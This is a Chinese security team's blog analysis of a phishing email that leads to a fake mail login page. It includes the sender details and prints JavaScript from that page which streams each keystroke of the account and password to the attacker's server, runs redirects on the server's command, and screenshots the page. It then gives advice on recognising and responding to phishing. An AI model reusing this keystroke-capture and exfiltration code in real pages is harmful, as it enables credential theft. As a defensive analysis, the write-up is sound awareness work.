记一次钓鱼邮件实例分析
2025-1-24 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

0x01 事件概述

今儿一早登录邮箱想发周报来着,结果发现邮件新增一条,点开看看,好家伙,现在钓鱼邮件这么猖獗,连伪造都这么假。

看到这,突然心血来潮,说什么也得分析分析,不然真对不起他发来的样例。

0x02 实例分析

邮件内容分析

像我们常遇见的钓鱼邮件呢,有很多种,就像附件钓鱼、链接钓鱼、二维码钓鱼、内容钓鱼等。而我这情况就属于链接钓鱼了,往往邮件中会有引导用户点击链接,进行弹窗或跳转到钓鱼网站,网站通常会要求用户输入账户信息之类以获取用户敏感度信息;另外一种链接指向的网页暗藏木马程序,用户如果浏览器存在未修复的漏洞则点开的同时就中招了。

1.发件人来源是否可信

我们先收集下发件人相关信息,通过查看信头,查看最后一个 "Received" 部分,通常包含发件人的原始IP地址

目前整理如下:

发件人名称:信息部
发件人邮箱:[email protected]
发件人地址:221.234.29.195(当然邮件头信息可以被伪造,需要结合其他信息进行综合判断)

可以通过名称和邮箱判断其大大的猫腻,因为我们单位没有以信息部自称的部门,其邮箱地址也不是常见的地址,将其ip放微步里搜下,好家伙钓鱼没跑了。

2、邮件内容是否可信

看下邮件内容,只有简单几句话,再附上链接,意图不要太明显。

我们可以通过F12,看下其网站js源码,鼠标放到链接处,可以看到点击会跳转到如图下链接

查下域名可信度

真的没什么可说的了,我们打开隐私模式,访问站点看下

可以看到这是一个新的邮箱登录界面,分析其代码逻辑。发现部分比较有意思的代码。

代码片段一:输入监听,实时发送

socket.emit('sendMsg',{"kongzhi":"10","zhuangtai":id("zhuangtai").value});

function shishijiankong1(canshu,canshu1){
    socket.emit("sendMsg",{"kongzhi":"8","xinxi":canshu1,"neirong":canshu.value});
}
id("zh").addEventListener("input",function(){shishijiankong1(id("zh"),"账号:")});
id("mm").addEventListener("input",function(){shishijiankong1(id("mm"),"密码:")});

function shishijiankong2(canshu,canshu1){
    socket.emit("sendMsg",{"kongzhi":"9","xinxi":canshu1,"neirong":canshu.value});
}
id("zh").addEventListener("blur",function(){shishijiankong2(id("zh"),"账号:")});
id("mm").addEventListener("blur",function(){shishijiankong2(id("mm"),"密码:")});

该片段代码可以看出,每当用户在 id 为 zh(账号输入框)和 mm(密码输入框)输入内容或输入框失去焦点时,都会通过 socket.emit 向服务器发送信息。所以可能会在没有明确被告知的情况下,这些信息会在输入时就被发送出去,并且也没有看到明确的隐私政策或用户同意的步骤。

代码片段二:弹窗跳转与页面操作

socket.on('pushMsg',function(data){
    var fanhuia=data;
    if(fanhuia.kongzhi=="2"){
        if(fanhuia.shifouqiangzhi=="弹窗跳转"){
            socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});    
            if(fanhuia.yangshi==0){
                layer.open({
                    content:fanhuia.neirong,
                    closeBtn: 0,
                    btn:fanhuia.anniu,
                    yes: function(index, layero){
                        window.open(fanhuia.zhiling,"_self");
                        layer.close(index);
                    }
                }); 
            }else{
                layer.open({
                    type: 1,
                    title: false
                    closeBtn: 0,
                    area: '300px;',
                    shade: 0.8,
                    id: 'LAY_layuipro'
                    btn: [fanhuia.anniu],
                    btnAlign: 'c',
                    moveType: 1, 
                    content: '<div style="font-size:'+fanhuia.zitidaxiao+'rem;padding: 50px; line-height: 22px; background-color:'+fanhuia.beijingyanse+';color:'+fanhuia.wenbenyanse+';">'+fanhuia.neirong+'</div><span style="position:absolute;display:none;top:0px;font-size:0px;height:3px;width:7px;" id="QXrAEizDBXbNDzFVUex" class="nPEyIZGcHrIFGmINggT">前赴后继</span><span style="width:5px;top:0px;position:absolute;font-size:0px;display:none;height:5px;" id="WSyaeECMFIYVbbNq" class="QEgTkejRZajsXxAf">马到成功</span><span style="font-size:0px;position:absolute;width:4px;top:0px;display:none;height:4px;" id="ejGKybmY" class="xMHZfkmh">雪中送炭</span><span style="font-size:0px;height:8px;top:0px;position:absolute;width:8px;display:none;" id="sCvtmEnbN" class="KWwIxNkpF">精卫填海</span><span style="position:absolute;font-size:0px;width:8px;height:4px;display:none;top:0px;" id="EkMJiiUfzfILx" class="msHkZgeLkRmxE">老马识途</span><span style="display:none;top:0px;font-size:0px;height:6px;width:8px;position:absolute;" id="QgwNGJZTzQZMJbwtdJ" class="bygkdZMqiwzNZmhVYw">青出于蓝</span><span style="display:none;top:0px;font-size:0px;height:4px;width:7px;position:absolute;" id="HCaSNATrBwpfLrIlk" class="RfrxzSDYGqRZSPPvn">善始善终</span><span style="height:5px;display:none;font-size:0px;width:3px;position:absolute;top:0px;" id="wKOYrooGGo" class="sOfPFHoyYt">眼高手低</span><span style="position:absolute;font-size:0px;width:7px;display:none;top:0px;height:6px;" id="zGiNutvKKiiI" class="yiAlZMmqgUOr">奋不顾身</span>'
                   ,success: function(layero){
                        var btn = layero.find('.layui-layer-btn');
                        btn.find('.layui-layer-btn0').attr({
                            href:fanhuia.zhiling,//跳转
                        });
                    }
                });
            }
        }else if(fanhuia.shifouqiangzhi=="强制跳转"){
            socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});    
            window.location.href=fanhuia.zhiling;
        }else if(fanhuia.shifouqiangzhi=="跳转弹窗"){
            socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});
            var url = new URL(window.location.href);
            var path = url.pathname;
            var lastSlashIndex = path.lastIndexOf('/');
            var topLevelPath = path.substring(0, lastSlashIndex + 1);
            var encodedUrl = topLevelPath+fanhuia.zhiling+"&anniu=" + encodeURIComponent(fanhuia.anniu) + "&neirong=" + encodeURIComponent(fanhuia.neirong)+"&moshi=0";
            window.location.href = encodedUrl;
        }
    }
    // 其他代码部分省略
})

在这个代码片段中可以看出,当服务器发送pushMsg消息且kongzhi=2时,根据shifouqiangzhi的不同值,会进行不同的跳转操作。例如强制跳转(window.location.href=fanhuia.zhiling;)或通过弹窗进行跳转,同样是在用户不知情的情况下。

代码片段三:页面截图

if(fanhuia.jietu=="1"){
    function takeScreenshot() {
        return new Promise((resolve, reject) => {
            html2canvas(document.body).then(canvas => {
                // 将 canvas 转换为 DataURL
                const dataURL = canvas.toDataURL('image/png');
                // 输出截图的 64 内容
                socket.emit("sendMsg", { image: dataURL });
                resolve(canvas);
            }).catch(error => {
                reject(error);
            });
        });
    }
    takeScreenshot();
}

当fanhuia.jietu=1时,会使用html2canvas对整个页面进行截图,并将截图以DataURL的形式发送到服务器。当然用户不知道他们的页面正在被截图。

3、分析结果

通过发件人来源判定其不可信,为恶意ip。邮件内容为链接钓鱼,点击链接后会再次诱导用户输入邮箱账户密码,并会对用户输入内容进行实时监控、根据服务器消息进行不同强制操作(如弹窗显示、跳转、截图等),该获取用户信息行为均未经用户许可。

0x03 如何避免中招?

像现在钓鱼邮件一但出现,基本都是批量,那如何规避中招呢?那就要提高我们我们的防范意识和识别钓鱼邮件的能力了。

判断是否钓鱼邮件:

  1. 发件人来源是否可信
  2. 邮件内容是否可信
  3. 谨慎对待附件邮件

发件人来源是否可信:

  • 钓鱼邮件的发件人地址经常会进行伪造,比如伪造成本单位域名的邮箱账号或者系统管理员账号(admin、service等),如遇邮箱账号拼写奇怪、陌生的、不合逻辑、拼写错误的邮箱地址都应引起注意。

邮件内容是否可信:

  • 一看邮件标题:大量钓鱼邮件主题关键字会涉及“系统管理员、通知、发票、工资补贴、银行认证、参会名单、邮箱升级、邮箱容量上线”等,收到此类关键词的邮件,需提高警惕

  • 二看正文措辞:钓鱼邮件往往使用对一些使用泛化问候(如:“亲爱的用户”“亲爱的同事”等)的邮件应保持警惕。同时也要对任何制造紧急气氛的邮件提高警惕(如要求“务必今天完成”或“过期造成何种影响”等)

  • 三看正文内容:若邮件存在链接,将鼠标悬停在邮件中的链接上,你将看到链接的真实地址。如果这个地址看上去可疑或与链接文本描述的不符,那么千万不要点击。

谨慎对待附件邮件:

  • 钓鱼邮件中附带的附件可能包含恶意软件,所以不要轻易下载或打开附件,尤其是来自陌生人的邮件。

0x04 如果已经被钓鱼?

当你察觉已经为时已晚的时候:

1.首先应当停止所有操作,不要点击邮件内的任何链接或下载附件。

2.立刻隔离你的设备,防止其可能的恶意代码与控制服务器进行通信。

3.紧接着,立即修改你的账户密码,尤其是如果你在知道邮件是钓鱼邮件之前无意间输入了你的信息。

4.使用杀毒软件进行全盘查杀,清除可能存在的恶意软件。

0x05 总结

网络里头事儿杂,钓鱼邮件来欺诈。 

要么冒充人事部,要么冒充公检法。 

说你中奖能暴富,链接一点钱没了。 

时刻保持警惕心,安全防线要守牢。

横批----警惕钓鱼

如果想了解钓鱼知识的小伙伴,可以在我们团队知识文库(http://wiki.tidesec.com/)搜索钓鱼系列文章,可以从入门到入坑,哈哈。

0x06 参考链接

https://mp.weixin.qq.com/s/Ba4O9I3LZKPaBX_qo5IGAg (线上钓鱼邮件案例)

http://wiki.tidesec.com/docs/jswz

往期推荐

TscanPlus-一款红队自动化工具

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247519791&idx=1&sn=f8f408c3e7b57b9783fde060aff1708e&chksm=ce5dac4ef92a25583e33450d525507ab9da79d6e5fc9a15b0a7e5c799935ec0614f904647568&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh